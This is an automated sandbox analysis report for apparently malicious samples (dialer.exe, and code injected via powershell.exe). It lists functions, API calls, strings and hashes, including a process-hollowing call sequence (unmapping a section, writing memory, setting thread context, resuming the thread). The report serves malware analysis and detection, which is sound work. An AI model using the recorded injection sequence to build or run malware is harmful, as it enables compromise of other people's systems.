Associated: 00000041.00000002.3442397948.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442510479.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Similarity

API ID: wcslen$memset$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\aymhdakqytvceiwv$`
API String ID: 780471329-1011632358
Opcode ID: f63ea55df60fa7965909490aad9808008899d8cc114764b30a2c8ad78dde81d2
Instruction ID: 6e1026da4e5fddd47d76c711813c21ea0c0a2746d6c1c324c3fe09965d5e19ec
Opcode Fuzzy Hash: f63ea55df60fa7965909490aad9808008899d8cc114764b30a2c8ad78dde81d2
Instruction Fuzzy Hash: 701259B2618B8081E762CB1AF8453EA77A4F789794F414215EBAC57BF5DF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 00000041.00000002.3442105288.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3441829333.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442303779.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442397948.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442510479.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 586022b6e751a55053106be641e00a3b8c3e9c35461d7db68985742fa9914fcd
Instruction ID: 1a1351f792f9bf4967cc34d0f53f5ff7a53c0879af89bef87e4895d8dd39205b
Opcode Fuzzy Hash: 586022b6e751a55053106be641e00a3b8c3e9c35461d7db68985742fa9914fcd
Instruction Fuzzy Hash: 9851F1F1615A4485FA16EF27F9A47EA27A1BB8C7D0F449125FB4E873B2DF3884958300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007E68,0000000140007E68,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007E68,0000000140007E68,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007E68,0000000140007E68,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17
VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
Address %p has no image-section, xrefs: 0000000140001CF4

Memory Dump Source

Source File: 00000041.00000002.3442105288.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3441829333.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442303779.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442397948.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442510479.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 189629d51215e3dd95598548a56e1a7d079b1a4a02dcbf9889c089ac4568ca2a
Instruction ID: fdcea6415f7229f01c984092642b28fb5a36d70c662bb5773ed37d7d1973f443
Opcode Fuzzy Hash: 189629d51215e3dd95598548a56e1a7d079b1a4a02dcbf9889c089ac4568ca2a
Instruction Fuzzy Hash: D64132B1201A4486FA26DF57F884BE927A0F78DBC4F554126EF0E877B1DA38C586C700

Function 0000000140002104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
free.MSVCRT ref: 0000000140002234
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000041.00000002.3442105288.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3441829333.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442303779.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442397948.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442510479.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: 3a7d6074dc52b44e327b1ce3a8e74d0e8058649150b3659853f697306d85c7d1
Instruction ID: afb0d6c5a9c099b73ff3c6c79e798d45aa650c7d30c6adae1a01f4103a689b7c
Opcode Fuzzy Hash: 3a7d6074dc52b44e327b1ce3a8e74d0e8058649150b3659853f697306d85c7d1
Instruction Fuzzy Hash: 4F21B3B1305A11D2FA6BDB53F9583E82364BB6CBD0F444121FF5A576B4DB798986C300

Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 0000000140001E27

Memory Dump Source

Source File: 00000041.00000002.3442105288.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3441829333.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442303779.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442397948.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442510479.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 5701baccf9870bc39b117922084b810e6e0275f78b30b514fbc6538b1739fc18
Instruction ID: fad6180ef962ac1bf57e0d6b6b3de3a82f7bb0a4b16ac2ded5004f5be79f4ed3
Opcode Fuzzy Hash: 5701baccf9870bc39b117922084b810e6e0275f78b30b514fbc6538b1739fc18
Instruction Fuzzy Hash: 13214CB2B0150642FA77DA2BF5903F91192ABCC7E4F258536FF59473F5DE3888828241

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B
Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B

Memory Dump Source

Source File: 00000041.00000002.3442105288.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3441829333.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442303779.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442397948.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442510479.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: a89914c2fd02570a4e6521a208eebb3515e1225b41bbed0033c188a81e2debbf
Instruction ID: 7b3573af97f4a1eacab2cf6b7141f308442550d87ff31978870e308cef0d76bf
Opcode Fuzzy Hash: a89914c2fd02570a4e6521a208eebb3515e1225b41bbed0033c188a81e2debbf
Instruction Fuzzy Hash: 265105B6B11544DAEB12CF67F840BD82761A759BE8F548211FB19077B4DB38C586C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

Unknown error, xrefs: 0000000140001824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D

Memory Dump Source

Source File: 00000041.00000002.3442105288.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3441829333.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442303779.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442397948.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442510479.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 79a37540ab94a2aabdfc59d1104a7611d6a6ce1f6ae517b76ce8c7da1563a69f
Instruction ID: a3faaabf629437a0964f4525ace193ebe5e29d4333283446a04dc1db5ce24221
Opcode Fuzzy Hash: 79a37540ab94a2aabdfc59d1104a7611d6a6ce1f6ae517b76ce8c7da1563a69f
Instruction Fuzzy Hash: 47F09671A14A8482E612EF6AB9417ED6361E75D7C1F50D211FF4DA76A1DF3CD182C310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000041.00000002.3442105288.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3441829333.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442303779.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442397948.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3442510479.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 75c239d6f9b1b05cd32b51954dacabd1d99c2907a8b4144d0770202a5cd4097e
Instruction ID: 57be894ec6e479b01b3bdbc431c3049754870fdb45279c41188df5f75f20f987
Opcode Fuzzy Hash: 75c239d6f9b1b05cd32b51954dacabd1d99c2907a8b4144d0770202a5cd4097e
Instruction Fuzzy Hash: 2F01B6B5305A0192FA5BDB53FD083D86364BB6CBD1F854021EF09536B4DB75C996C300

Analysis Process: dialer.exePID: 2248, Parent PID: 5712COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140832D30 Relevance: 6.2, APIs: 4, Instructions: 209
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0000000140832E5A
GetProcAddressForCaller.KERNELBASE ref: 0000000140832E84
VirtualProtect.KERNELBASE(?,?,?,00000000), ref: 0000000140832F09
VirtualProtect.KERNELBASE ref: 0000000140832F27

Memory Dump Source

Source File: 00000042.00000002.3442004748.000000014082C000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000042.00000002.3441915647.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000042.00000002.3442004748.0000000140001000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000042.00000002.3442004748.00000001404C8000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000042.00000002.3442004748.00000001404EC000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000042.00000002.3442004748.0000000140777000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000042.00000002.3442004748.00000001407F8000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000042.00000002.3445427003.0000000140834000.00000004.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_140000000_dialer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressCallerLibraryLoadProc
String ID:
API String ID: 1941872368-0
Opcode ID: fc7b6a3bd621f7d17f98b0102345922539b498eb494b6f3c4a19026b9e8f6b5c
Instruction ID: 490267afce550785c801030b00c3b8e77ffef9829ef37814adfd0db67bac2f23
Opcode Fuzzy Hash: fc7b6a3bd621f7d17f98b0102345922539b498eb494b6f3c4a19026b9e8f6b5c
Instruction Fuzzy Hash: 97614832F4025745FB275BAAEB853E86350A39D7B4F084721CBB9433F6E67A88568310

Analysis Process: powershell.exePID: 2120, Parent PID: 1064COMMON

Executed Functions

Function 00007FFD3469DF98 Relevance: 1.7, APIs: 1, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66ec87d1f945297e3181e69690fae1ffa74a1eb4fde3fadaa7c2ff384a7652f8
Instruction ID: 82a8c91f6afa6bfd9fba6e4defae79b1022a98334ea342f0b0534a8788f6c2ef
Opcode Fuzzy Hash: 66ec87d1f945297e3181e69690fae1ffa74a1eb4fde3fadaa7c2ff384a7652f8
Instruction Fuzzy Hash: A451E772A0D7844FDB12EB6898A56EA7FA0EF53214F0841FFC189CB193E95C9809CB51

Function 00007FFD346A0C5D Relevance: 1.6, APIs: 1, Instructions: 129
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL ref: 00007FFD346A0D27

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 612906cca72b36756ae939d45c578b6aaeaa4ccc295d5ed56250a67fa343742e
Instruction ID: cf6917a5f3970e6c90ade028a1361540a4590a50daaeaa04103089dfeb89879e
Opcode Fuzzy Hash: 612906cca72b36756ae939d45c578b6aaeaa4ccc295d5ed56250a67fa343742e
Instruction Fuzzy Hash: 5831D17190CB588FDB59DF58D8856E9BBE0FB6A321F04426ED049D3652CB74A806CB81

Function 00007FFD3469E078 Relevance: 1.6, APIs: 1, Instructions: 122
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD346A0AFB

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 75dc07dcbcd93011774c4f58a512b55f34254de34682c1b82d4496a8e22111da
Instruction ID: 765639b25ce54d57d4f7054c0e5e9c1493ceb19fde21871af582bbb98654a14e
Opcode Fuzzy Hash: 75dc07dcbcd93011774c4f58a512b55f34254de34682c1b82d4496a8e22111da
Instruction Fuzzy Hash: 01315772A0CA488FEB59CF58D8497E9BBE0EBA6320F04416FD049D3193D674EC49C751

Function 00007FFD346A0A3E Relevance: 1.6, APIs: 1, Instructions: 118
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FFD346A0AFB

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 695bfb8554aac46042955458ff34f7189e86082f10c92c17940f7abc9413e331
Instruction ID: 9c8db3c6c0b1ee288027724737dc919241a36ef91875f313038629c39156f85e
Opcode Fuzzy Hash: 695bfb8554aac46042955458ff34f7189e86082f10c92c17940f7abc9413e331
Instruction Fuzzy Hash: 1B31F531A0DB888FDB5ADFA888967E97FE0EF67320F04419AD049C7193D664A446CB91

Function 00007FFD346A0FE4 Relevance: 1.6, APIs: 1, Instructions: 114
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL ref: 00007FFD346A1095

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 40dd2c0a98b87b5a02a67e615f33549286361dadeacf3c68315bb18a64fa482a
Instruction ID: e645ccfde1a18c15cd84b90129f0a80504258ebf7b20163a690026f068f68ab6
Opcode Fuzzy Hash: 40dd2c0a98b87b5a02a67e615f33549286361dadeacf3c68315bb18a64fa482a
Instruction Fuzzy Hash: F3312871A0CA5C8FDB59DF9CD8457EA7BE1EF56320F04416BD008D3252CB749806CB91

Function 00007FFD346A0F20 Relevance: 1.6, APIs: 1, Instructions: 97
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetContextThread.NTDLL ref: 00007FFD346A0FAB

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: eb9860b81eab79942769cb89c151e76948351e05a2b950a32e99cc36f769f3b6
Instruction ID: 4b9f8eb3e113d47e751419c1390d51366aa8484edecac7fc375c039f71d3b9e9
Opcode Fuzzy Hash: eb9860b81eab79942769cb89c151e76948351e05a2b950a32e99cc36f769f3b6
Instruction Fuzzy Hash: A621B431A0CA4C8FDB59DF98D8867E97BF0EB66320F04416FD049D3252C6749846CB51

Function 00007FFD346A0221 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 891
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FFD346A093D

Strings

wKX\, xrefs: 00007FFD346A0681
wKX\, xrefs: 00007FFD346A0986

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID: wKX\$wKX\
API String ID: 963392458-3281236502
Opcode ID: 473a1797e3848129c2fdea48e846f90c01edc82dfdcf274be323848b577e10e1
Instruction ID: 2f1c806e5358b175a00eae8ccdbb0497aa8d2c352a26586deab7d6c75eddc0b8
Opcode Fuzzy Hash: 473a1797e3848129c2fdea48e846f90c01edc82dfdcf274be323848b577e10e1
Instruction Fuzzy Hash: 39D1F670609F894FEBA4DF2CC8967E977E0FF56310F04426BD84DC7292DA38A4458B82

Function 00007FFD3469EAFA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE ref: 00007FFD3469ECA6

Strings

wKX\, xrefs: 00007FFD3469EB68
wKX\, xrefs: 00007FFD3469ECEE

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID: wKX\$wKX\
API String ID: 524692379-3281236502
Opcode ID: 1edc40a78630b73ad1bd5566d9d7ffd68b1f33f0f1d5c02a7601f1fcc9fd5ce1
Instruction ID: bfff3acdf0620676f126d19815347555e2b23580ac7183643492abbd611a99a6
Opcode Fuzzy Hash: 1edc40a78630b73ad1bd5566d9d7ffd68b1f33f0f1d5c02a7601f1fcc9fd5ce1
Instruction Fuzzy Hash: 0171E77060CB8D8FDB59DF28C8557E87BE1FF5A311F14426AE88DC7292DB74A8418B81

Function 00007FFD3469E8AC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 227
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00007FFD3469EA39

Strings

wKX\, xrefs: 00007FFD3469EA81
wKX\, xrefs: 00007FFD3469E8F8

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: CreateFile
String ID: wKX\$wKX\
API String ID: 823142352-3281236502
Opcode ID: c49007042b4ae1135fb501050c0d8f29d89328b8aeec5cd13c32a8c5e5c99913
Instruction ID: 4f580a1f5a782cf58d0714f8c290668c6f98e123386c198430670a850cae325a
Opcode Fuzzy Hash: c49007042b4ae1135fb501050c0d8f29d89328b8aeec5cd13c32a8c5e5c99913
Instruction Fuzzy Hash: EC61D730918B8D4FEB58DF68D8567E877E0FF59311F14426AE84DC3292DB74E8418B81

Function 00007FFD34760001 Relevance: 2.7, Instructions: 2717COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2365643408.00007FFD34760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5916a07696d479b5750dec19bea913bed7606b1019d65fa44af7531a3570130
Instruction ID: cf3983f0cc6181169d53ffa0cf0b3637757ab8076dcc94c4ac28b01991012d58
Opcode Fuzzy Hash: c5916a07696d479b5750dec19bea913bed7606b1019d65fa44af7531a3570130
Instruction Fuzzy Hash: 7013D371A1CF958BE7B59F189895AA977E1EF99740F0505AED48CC3292CE38BC40C7C2

Function 00007FFD347600DD Relevance: 2.6, Instructions: 2589COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2365643408.00007FFD34760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b8811ce3f85bab14d456c4944db9821eb7659b810540003bb49270194910c46
Instruction ID: 5a21975f14aa1ab7a654fbf64c69c3b46e95f0312c46edf240bc709221cde42e
Opcode Fuzzy Hash: 9b8811ce3f85bab14d456c4944db9821eb7659b810540003bb49270194910c46
Instruction Fuzzy Hash: 1413D471A1CF958BE7749F1898D5AA977E1EB99740F0505AED58CC3292CE38BC40CBC2

Function 00007FFD3469ED66 Relevance: 1.6, APIs: 1, Instructions: 138
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE ref: 00007FFD3469EE43

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: fe81f5581243c5689c997e106a96b86f4061994ea6ae2098baedbb43c9012268
Instruction ID: 8b7fd2c79850a316c51c3f12072b9315131d5f6966ce354e8beb8bbec3eaa84a
Opcode Fuzzy Hash: fe81f5581243c5689c997e106a96b86f4061994ea6ae2098baedbb43c9012268
Instruction Fuzzy Hash: 71413A3190CA888FEB1DDB68D855AE97BF0FF56321F14026FD089D3192DB686806C791

Function 00007FFD3469E7A8 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32GetModuleInformation.KERNEL32 ref: 00007FFD3469E862

Memory Dump Source

Source File: 00000043.00000002.2364080714.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34690000_powershell.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 76e86c87fcab641a7a14e27d24f4118fd5b604c0817560ccc7a1edcb80116e8a
Instruction ID: 851c10cd9a3051c0a482f962e7ea166f9159ea068ed44e9c9527fd565d602557
Opcode Fuzzy Hash: 76e86c87fcab641a7a14e27d24f4118fd5b604c0817560ccc7a1edcb80116e8a
Instruction Fuzzy Hash: AB31E531A0CA5C4FDB18DBAC98496F9BBE1EF66321F04426FD049D3292DB756846CB81

Function 00007FFD34762BC5 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2365643408.00007FFD34760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3da8c0ea446b2eef2df44d8648b3fd8f7940c971a5b44865a81098ad7d7a2531
Instruction ID: 894922bd3293ad6ed27d644efa51755c8b68f934d8657c360205c7d6e0de46da
Opcode Fuzzy Hash: 3da8c0ea446b2eef2df44d8648b3fd8f7940c971a5b44865a81098ad7d7a2531
Instruction Fuzzy Hash: 0DB1F9A2B0EBC54FE7D6AA2858A91707BD2EF57220B1801FBD58DCB1D3D91D6C05D381

Function 00007FFD34762DE7 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2365643408.00007FFD34760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_7ffd34760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91dac2f24d6214e3b69d48b0b5f2786e8de444b18248258c154829b5854989f9
Instruction ID: 759de711ff82d5edf2578251cde0d37400c2716c5e8ed83dcfaadc4d11251abc
Opcode Fuzzy Hash: 91dac2f24d6214e3b69d48b0b5f2786e8de444b18248258c154829b5854989f9
Instruction Fuzzy Hash: 712106A3B0E6854FE3E5A67828E917477C1EF6612075805FAC45DCB2D3D81DAC099381

Analysis Process: conhost.exePID: 5980, Parent PID: 2120COMMON

Executed Functions

Function 00000146F6B03620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000146F6B03639
PathFindFileNameW.SHLWAPI ref: 00000146F6B03648

Part of subcall function 00000146F6B03C74: StrCmpNIW.SHLWAPI(?,?,?,00000146F6B0254B), ref: 00000146F6B03C8C

Part of subcall function 00000146F6B03BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03BCE
Part of subcall function 00000146F6B03BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03BFC
